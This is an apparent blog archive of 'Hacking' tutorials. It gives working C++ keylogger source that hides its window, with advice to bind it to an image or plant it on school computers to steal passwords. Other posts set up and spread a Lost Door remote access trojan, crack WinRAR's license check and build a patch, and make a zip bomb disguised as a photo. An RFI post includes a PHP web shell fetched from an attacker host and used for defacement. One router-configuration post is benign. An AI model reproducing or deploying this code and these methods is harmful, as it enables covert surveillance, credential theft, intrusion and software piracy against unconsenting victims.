Showing posts with label Hacking. Show all posts
Showing posts with label Hacking. Show all posts

Create Keylogger using C++|Basic Hacking Tutorials

Harsh | 11:49 PM | 0 comments

Learn To create Keylogger using C++|Basic Hacking Tutorials

Hi friends, the most interesting part  of the hacking is spying.  Today i am going to introduce to the C++ Spyware code.   It is going to be very fun.  You can install this spyware in your college/school  or in your friend system, and get their username and passwords.  This is very simple hacking trick when compared to phishing web page.





Disadvantage of Phishing Web page:
you have to upload phishing web page to web hosting.  But only few website won't detect the phishing webpage.
website url is different. Easy to detect that we are hacking.

Advantage of Spyware-keylogger:
Very simple and easy method.
Victim can't detect that we are hacking.

How to create Keylogger using Visual C++?
Requirements:
Dev C++.  Download it from here: http://www.bloodshed.net/
Knowledge about Visual C++(need, if you are going to develop the code).

Install dev C++ in your system and open the dev C++ compiler.
Go to File->New->Source File.
you can see a blank works space will be there in window.
now copy the below keylogger code into the blank work space.
#include
using namespace std;
#include
#include
int Save (int key_stroke, char *file);
void Stealth();

int main()
{
Stealth();
char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

/* *********************************** */

void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}

Compile the Code(Ctrl+F9)


Now execute the program by selecting Execute->Run(ctrl+F10)

now your keylogger will run in your system. whatever you type using keyboard. It will be stored in Log.txt file.
you can see the log.txt file where you save the file.



bind the exe file with image or any files and send it to your friend.
(0r)
if you have physical access to your college/school system,then copy the exe file in that system and run it.

For now, i just give simple keylogger. Soon i will post most efficient keylogger's program code.

How to Control a Remote Computer using Lost Door

Harsh | 4:48 PM | 0 comments
Remote Administration tools also known as RAT are windows Trojans or in simple terms programs used by a Hacker to get administrative privileges on the victim’s computer. Using a RAT you can do a lot of cool things such as “Upload, delete or modify data” , “Edit registry”, “Capture victim’s screen shot”, “Take control of victim’s Computer”or “Execute a virus” just with a click of a button.
Throughout this article I will teach you how to use Lost Door, a Windows RAT, to control and monitor a victim’s computer remotely.





Disclaimer: Coder and related sites are not responsible for any abuse done using this software.
Follow the steps below to setup a server for Lost Door.
  • Download Lost Door from here . (Update: In case the given download link doesn’t work, use this secondary download link. The password to unzip this file is “ehacking.nethungry-hacker.com” without double quotes.)
  • On executing the download file, you will see the following screen. Accept it
  • After it is open, right click on the window and click on create server
  • Now enter your IP address and DNS here. Leave the rest of the field as it is.
  • Now click on the ‘Options’  tab and choose the options as you want. To activate an offline keylogger is a good practice.
  • Now go to ‘Advanced’ Tab. There will options related to spreading. This will be used in case you have more than 1 victim.
  • Now just go to the ‘Create’ tab and click on create server. Your server is ready for use now and now send it to the victim.

Sending the server file to your victim

This is the most important thing after you have created your server file. If you want to take control on a single computer than you have to send this server file to the desired victim but if you want to affect more and more people than you have to use some spreading techniques.
  • If you have physical access to the victim’s computer then take the server file in a pen drive and just double click on your server file once you have injected the pen drive into that computer.
  • For those who don’t have physical access can use social engineering in order to get the victim execute that file on his computer.

Using Spreading to affect multiple victims

If you have more than one victim, then you have an option of using spreading technique. You might think that by creating multiple server files you can control multiple users. But here is a secret about spreading. When you select the spreading option, the server file will act as a worm which will spread itself across different computers via Email or any other channel. So your burden will be only to get one victim to execute that file on his computer, the remaining job of getting other victims will be done on its own.


Download from here 

    An Introduction to Revrerse Engineering - Reversing Winrar step by step

    Harsh | 4:46 PM | 0 comments
    Hi folks,its been a long time since I have posted some thing technical,so I will be writing about the challenge I got at NIT KU, where I reverse engineered WinRAR 3.80 using a disassembler and will tell you the same here. Furthermore, major software are analysed using the same way,but just get a bit complex in the methodology. This tutorial is intended for those who are new to reverse engineering and disassembling.

    Disclaimer – By Reading this tutorial You agree that this tutorial is intended for educational purposes only and the author can not be held liable for any kind of damages done whatsoever to your machine, or damages caused by some other,creative application of this tutorial.
    In any case you disagree with the above statement,stop here.



    The Tools
    To perform this hack you will be needing -
    1. Any De-assembler (I use Hackers Disassembler and Hview )
    2. Resource Hacker
    3. A patch Creator ( Use Universal Patch Creator or Code fusion)
    You will be able to get them by googling ..

    How to Reverse Engineer?
    You need to have a bit knowledge of assembly language,and in case you don't have it,just cram the steps and it will work anytime,every time. Download the latest version of WinRAR from their website and install it.


    I will be cracking Winrar 3.80 here (cuz I already have it:P ). This is basically a 2 step process ( 4 step ,if you want to do things with a professional touch,period) .
    Now copy the WinRAR.exe file to desktop. Make a copy of it there.

    Step 1 – Hunting for Memory Address
    Now load Hackers Disasembler and load the copy in it.





    The Disassembler will disassemble the executable in assembly code. Now you need to search for strings that are used in WinRAR program. Press Ctrl + F and type “evaluation” without quotes and search in the assembly code. Hit enter..




    After you have reached this block of code by searching, just look at the block of code above it. There you will find that some assembly values are being compared and then code is jumped to some other function. Now see carefully, the “evaluation copy” function must be invoked after some specific condition is met. We need to look for it at the code and the make certain changes to the condition so that the program doesn't checks for the condition.



    In the above code you can see this code -
    00444B6A: 803DF4B84B0000 cmp byte ptr [004BB8F4], 00
    00444B71: 0F859B000000 JNE 00444C12
    This is the code responsible for validating you as a legal user :) . Just note down the memory address that leads to jump (JNE) at some memory location. In this case, note down 00444B71 .
    Note : For any WinRAR version, this code and memory address might be different,but the JNE will be same. Just note down the respective memory address that checks.
    Now you need to search for the code that brings that ugly nag screen “Please purchase WinRAR license” after your trial period of 40 days is over. For this,look over your toolbar and click on “D” which stands for looking for Dialog references.



    Now in the dialog box that opens,search for “please” and you will get the reference as -
    ID-REMINDER, “Please purchase WinRAR license”

    Double click on it and you will reach the subsequent code.





    The code will be something like
    * String: “REMINDER”
    0048731A: 68EB5E4B00 push 004B5EEB
    Just note the memory address that invokes the REMINDER dialog. In this case its 0048731A. Note it down.
    Note : For any WinRAR version, this code and memory address might be different.But the Reminder Memory address code will always PUSH something. Just note down the respective memory address that PUSH ‘s.


    Step 2 – Fixing and Patching
    Now in this step we will be patching up values of memory addresses we noted earlier. I will be doing this using HVIEW.
    Now load the copy you disassembled in Hacker’s Disassembler in Hview.




    After you have loaded it, you will see the code is unreadable. Its just like opening an EXE file in notepad. You need to decode it. To do that, just press F4 and yoiu will get an option to decode it. Hit DECODE and you will be able to see code in the form of assembly code and memory addresses.




    After you have done that, you need to search for memory addresses you noted down earlier. Just hit F5 and a search box will be there. Now you need to enter the memory address. To do that, enter a “.” and the type memory address neglecting the earlier “00” . The “.” will suffice for “00”. ie -
    Type .444B71 in place of 00444B71



    and search in the code.




    After you have reached the respective code, you need to make changes to it. Press F3 and you will be able to edit the code.Now make the following changes -



    After you have done it, save it by pressing F9.
    Now search for next memory location by pressing F5 and entering it. Reach there and make the following changes by pressing F3 -



    Save the changes by pressing F9 and exit HVIEW by pressing F10.
    Congrats..You have cracked WinRAR :) Replace the original WinRAR.exe with this copyofwinrar.exe by renaming it. It will work 100% fine :P

    Step 3 – Spicing up the EXE
    Now U have a 100% working version of EXE, you might want to change your registration information in WinRAR. TO do this, you can use Resource hacker.



    Launch Resource Hacker, load the copyofwinrar.exe in it



    Now go to DIALOG –> Expand tree –> ABOUTRARDLG and click it. Now Find Trial copy line and replace it with your favorite one :P



    and click on Compile Script button.



    Now save the file with any name on your desktop or any location what so ever.



    Now you have a fully patched WinRAR.exe file :)) . If you want to learn that, move on to next step.

    Step 4 – Creating a working Patch (or giving Professional touch :P )
    I will be using diablo2oo2's Universal Patcher (UPE) for creating the patch. The patch will work like any authentic one for that WinRAR version. Just like the one U downloaded at anytime of your life from any Crack and Keygen website.
    Launch Patch Creator and click on add new project. Enter project Information and click on save.



    Click on Add – ; Offset patch




    After you have done that, double click on offset patch and then
    1. Give path of original winrar.exe
    2. Give path of unmodified Winrar.exe (again)
    3. Give path for fully patched Winrar.exe (ie Cracked Winrar.exe in this case)
    4. Click on compare and it will show difference between both files
    5. Click on save.

    Now in the next window, click on Create Patch and save it. The Patch will be created. Now copy it in WinRAR installation directory and hit on patch, it WILL work.




    Congrats you have created a patch of your own and have learned to reverse engineer WinRAR :)




    You can crack other software in the same way…just practice,debug and disassemble and you will get the way :)
    [PS: The above is the long way to do it, I will be telling you the shortest way to crack WinRAR in just 1 step, the main aim of this tutorial was to introduce you to disassemblers and tools, and do some dirty work with your hand. ]

    GNS 3 Tutorial – Basic Router password Configuration

    Harsh | 5:59 AM | 0 comments
    Hi folks..I have started my first steps into Cisco, & would be sharing my small experiments in it. Actually , this time I am  covering the basics using GNS3 which is a powerful open source network simulator to simulate a simple topology of 2 routers with their basic configuration & commands. I assume you have worked with GNS3 or atleast know how to load IOS & make a simple topology..
    So, firstly download GNS3 & install it. Get IOS images from and load them (if you are really not sure of this step, mail me, I will expand the basics more)
    The topology I created is this -





    2 routers connected via gigabit . What we will be doing is -
    1. Set router password.
    2. Set telnet password
    3. Set Console Password
    4. Encrypt All passwords.
    5. Set Ip Address of routers.
    Anyways, I start by right clicking on R2 router.
    Connected to Dynamips VM "R2" (ID 7, type c7200) - Console port
    To get into privilege mode, type this command.
    R2>en
    To configure router, type this command ..
    R2#conf t
    Enter configuration commands, one per line.  End with CNTL/Z.
    To set router password & encrypt all passwords type these commands
    R2(config)#enable secret router2
    R2(config)#service pass
    R2(config)#service password-encryption
    Now to set console & its password type these commands
    R2(config)#line console 0
    R2(config-line)#password console
    R2(config-line)#login
    R2(config-line)#exit
    Now to set telnet (vty/virtual terminal) & its password type these commands
    R2(config)#line vty 0 4
    R2(config-line)#password telnet
    R2(config-line)#login
    R2(config-line)#exit
    Once done, you can now configure the interface by typing these commands
    R2(config)#int g1/0
    R2(config-if)#desc ROUTER LAN 2 GIGABIT INTERFACE
    R2(config-if)#ip address 192.168.1.20 255.255.255.0
    R2(config-if)#no shut
    R2(config-if)#
    *Feb 19 19:56:42.035: %LINK-3-UPDOWN: Interface GigabitEthernet1/0, changed state to up
    R2(config-if)#
    *Feb 19 19:56:42.035: %ENTITY_ALARM-6-INFO: CLEAR INFO Gi1/0 Physical Port Administrative State Down
    *Feb 19 19:56:43.035: %LINEPROTO-5-UPDOWN: Line protocol on Interface GigabitEthernet1/0, changed state to up
    R2(config-if)#end
    *Feb 19 19:56:47.723: %SYS-5-CONFIG_I: Configured from console by console
    R2#
    Once done, you can see the configuration by typing -
    R2#show running-config
    Building configuration...

    Current configuration : 932 bytes
    !
    upgrade fpd auto
    version 12.4
    service timestamps debug datetime msec
    service timestamps log datetime msec
    service password-encryption
    !
    hostname R2
    !
    boot-start-marker
    boot-end-marker
    !
    enable secret 5 $1$trNZ$uNTgBIA1QG43/4YEB29lf/
    !
    no aaa new-model
    ip cef
    !
    !
    !
    !
    no ip domain lookup
    !
    multilink bundle-name authenticated
    !
    !
    !
    archive
    log config
      hidekeys
    !
    !
    interface FastEthernet0/0
    no ip address
    shutdown
    duplex half
    !
    interface GigabitEthernet1/0
    description ROUTER LAN 2 GIGABIT INTERFACE
    ip address 192.168.1.20 255.255.255.0
    negotiation auto
    !
    no ip http server
    no ip http secure-server
    !
    !
    !
    logging alarm informational
    !
    !
    control-plane
    !
    !
    gatekeeper
    shutdown
    !
    !
    line con 0
    exec-timeout 0 0
    password 7 070C2E425D061500
    logging synchronous
    login
    stopbits 1
    line aux 0
    stopbits 1
    line vty 0 4
    password 7 06120A2D424B1D
    login
    !

    !
    webvpn cef
    !
    end

    R2#
    If done properly, it will look like more or less the same I have pasted above. Also, as you can see, all the passwords are encrypted. In the similar way you can configure Router 1. Make a note os passwords, I have kept quite simple passwords just to demonstrate the configuration. Please keep secure passwords ,

    Create a Zip Bomb - Zip of Death

    Harsh | 2:51 AM | 0 comments
    A zip bomb, also known as a Zip of Death, is a malicious archive file designed to crash or render useless the program or system reading it. It is often used by virus writers to disable antivirus software, so that a more traditional virus sent afterwards could get into system undetected. A zip bomb is usually a small file (up to a few hundred kilobytes) for ease of transport and to avoid suspicion. However, when the file is unpacked its contents are more than the system can handle.You can make your own zip bomb to annoy your friends or just out of curiosity (or wilderness) to experiment with it. Make sure you don't detonate it on yourself.



    Here is how to make your own Zip of Death -

    Create a new text file,name it a.txt


    Open and type the null character (alt + 255) in it.
    Now press Ctrl + A then Ctrl + V a couple times to make some null bytes.If u have a hex editor,then make the hex 00 for about 50 kilobytes.
    Now make several copies of a.txt in the same directory and name them accordingly.


    Open Command prompt and navigate to the folder containing a.txt . Type -
    copy /b *.txt b.txt


    This will write all the contents of a.text and its copies into a new text file called b.txt,hence making every copy is a super copy. Repeat the above steps from the beginning again and again to make a really big text file.
    Once u have a nice empty big text file like 1gb or more,then compress it using Winrar or Winzip into a zip file.
    You will find that it will be compressed to very small size (about 1MB ). It is because of the simple construction of the file as the text file contains 1gb of null bytes.

    For added fun,open the compressed zip file file into a hex editor. You will see a bunch of hex 5555.Just add some more and the file will expand amazingly.


    Make sure that YOU DONT OPEN THIS afterwards.
    You can make the same file in Linux by typing -
    dd if=/dev/zero bs=1000 count=1000000 | gzip > test.gz
    Send it to your friends (or foes) and it will definitely annoy them . Use some creativity and rename the text file into some thing like Angelina Jolie.jpg and compress it and email to your friends. Once they download it,they will never be able to download again (sarcasm..sarcasm).More disastrous combinations can be made by experimenting with it.I mean..you get the idea :)
    Also,you can check out the one of the most famous zip bombs alive today – 42.zip (only 42 KB) which will uncompress to about 4 Petabytes (1 Peta byte = 1024 TB and 1 TB = 1024 GB ) of file size. Dangerous huh..?

    A simple tutorial on Remote File Inclusion (RFI)

    Harsh | 2:11 AM | 0 comments
    RFI stands for Remote File Inclusion, and it allows the attacker to upload a
     custom coded/malicious file on a website or server using a script. The vulnerability  exploit the poor validation checks in websites and can eventually lead to code execution on server or code execution on website (XSS attack using javascript). This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of tutorial, i suppose you will know what it is all about and may be able to deploy an attack or two.




    RFI is a common vulnerability, and trust me all website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and do almost anything (including gagging them out or beg..well that's an exaggeration but I guess you get the idea :P ) . What makes it more dangerous is that you only need to have your common sense and basic knowledge of PHP to execute this one, some BASH might come handy as most of servers today are hosted on Linux..
    Okay..Lets start..The first step is to find vulnerable site..you can easily find them using Google dorks..If you don't have any idea, you might want to read about advanced password hacking using Google dorks or to use automated tool to apply Google dorks using Google. Now lets assume we have found a vulnerable website
    http://victimsite.com/index.php?page=home
    As you can see, this website pulls documents stored in text format from server and renders them as web pages. We can find ways around it as it uses PHP include function to pull them out..check it out.
    http://victimsite.com/index.php?page=http://hackersite.com/evilscript.txt
    I have included a custom script “eveilscript” in text format from my website, which contains some code..Now..if its a vulnerable website, then 3 cases happen -
    • Case 1 - You might have noticed that the url consisted of “”page=home” had no extension, but I have included an extension in my url,hence the site may give an error like “failure to include evilscript.txt.txt”, this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
    • Case 2 - In case, it automatically appends something in the lines of .php then we have to use a null byte “” in order to avoid error.
    • Case 3 – successfull execution :)
    Now once you have battled around this one, you might want to learn what to code inside the script. You may get a custom coded infamous C99 script (too bloaty but highly effective once deployed) or you might code yourself a new one. For this knowledge of PHP might come in handy. Here we go

    echo "";
    echo "Run command: ".htmlspecialchars($_GET['cmd']);

    system($_GET['cmd']);

    ?>
    The above code allows you to exploit include function and tests if the site if RFI (XSS) vulnerable by running the alert box code and if successful, you can send custom commands to the linux server in bash. So…If you are in luck and if it worked, lets try our hands on some Linux commands. For example to find the current working directory of server and then to list files, we will be using “pwd” and “ls” commands.

    http//victimsite.com/index.php?cmd=pwd&page=http://hackersite.com/ourscript
    http//victimsite.com/index.php?cmd=ls&page=http://hackersite.com/ourscript
    What it does is that it sends the command as cmd we put in our script, and begins print the working directory and list the documents..Even better..you can almost make the page proclaim that you hacked it by using the “echo” command..

    cmd=echo U r pwn3d by xero> index.php
    It will then re-write the index.php and render it..In case,its a primitive website which stores pages with .txt extension, you might want to put it with along the .txt files.Now..as expected..We are now the alpha and the omega of the website :) we can download, remove, rename, anything! Want to download stuff ? try the “wget” function (cmd=wget.. get the idea..)..Want to move it out ? “mv”..
    I leave the rest on your creativity..
     
    Support :
    Copyright © 2011. How To 2 - All Rights Reserved

    Proudly powered by Blogger